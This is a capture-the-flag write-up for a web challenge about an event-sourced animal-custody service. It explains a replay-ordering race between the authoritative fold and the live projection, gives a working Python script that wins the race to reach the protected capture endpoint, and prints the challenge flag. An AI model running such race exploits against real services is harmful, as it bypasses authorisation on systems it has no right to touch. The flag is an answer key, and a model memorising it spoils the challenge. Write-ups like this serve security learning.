Maya Mriga: The Golden Illusion
By Team Cryptonite · 1 min read
About the CTF: Pinaka CTF
An event-sourced animal-custody service keeps an authoritative fold and a separate live projection. Exploit the replay-ordering gap between the two views to become the golden deer's holder.
**Pinaka CTF 2026** · Web · Team Cryptonite · All 44 Pinaka write-ups
>An event-sourced animal-custody service keeps an authoritative fold and a separate live projection. Exploit the replay-ordering gap between the two views to become the golden deer's holder. Connection: http://130.210.48.10:9005/
- Endpoints we had:
- /ranger/enroll -> get a token (ranger id is encoded inside it)
- /forest/log -> GET, full event log (claims/releases with eid, type, ranger)
- /track/claim -> submit a claim event
- /projection/sync -> POST an order (has to be a full permutation of event ids), returns board_holder
- /capture -> the protected op, only works if you're the current holder

- order has to be a permutation of every event id in the log, so we pulled the log and started poking at what fold function
syncactually uses to turn an order into a holder - i have my claim event e_48908d71ba (ranger-e17098)
- The sync returned a different delivery order than I submitted, and holder is some third ranger.
- the board length differs every instance and every instance is a shared instance
- the fold is a simple stack. claim pushes, release pops, holder = top of stack, so if my claim is the last event in the delivery order, i'm on top.
- the server appends events committed after my log-snapshot to the end of my submitted order (in seq order), which pushes my claim off the top, this is a race, the tightest win, fetch log, then claim, then immediately sync, then capture.
- script:
import urllib.request, json, base64
B="http://130.210.48.10:9005"
def call(path, body=None, method="POST"):
data=json.dumps(body).encode() if body is not None else None
req=urllib.request.Request(B+path, data=data, method=method,
headers={"Content-Type":"application/json"})
try:
with urllib.request.urlopen(req, timeout=25) as r:
return r.getcode(), json.loads(r.read())
except urllib.error.HTTPError as e:
try: return e.code, json.loads(e.read())
except: return e.code, None
tok=call("/ranger/enroll")[1]["token"]
myranger=json.loads(base64.urlsafe_b64decode(tok.split(".")[0]+"=="))["ranger"]
print("me:",myranger)
for i in range(150):
_,log=call("/forest/log",{"token":tok},"GET")
eids=[e["eid"] for e in log["events"]]
_,c=call("/track/claim",{"token":tok})
myeid=c["event"]["eid"]
order=[x for x in eids if x!=myeid]
code,s=call("/projection/sync",{"token":tok,"order":order})
bh=s.get("board_holder") if isinstance(s,dict) else None
_,cap=call("/capture",{"token":tok})
won=isinstance(cap,dict) and cap.get("captured")
if bh==myranger or won or i%10==0:
print(i,"board=",bh,"cap=",cap)
if won:
print("FLAG:",json.dumps(cap)); break
- After winning the race, the
captureresponse came back withcaptured: trueand the flag.
Flag:
PINAKA{marichagoldendeerprojectionrevealsthecaptor}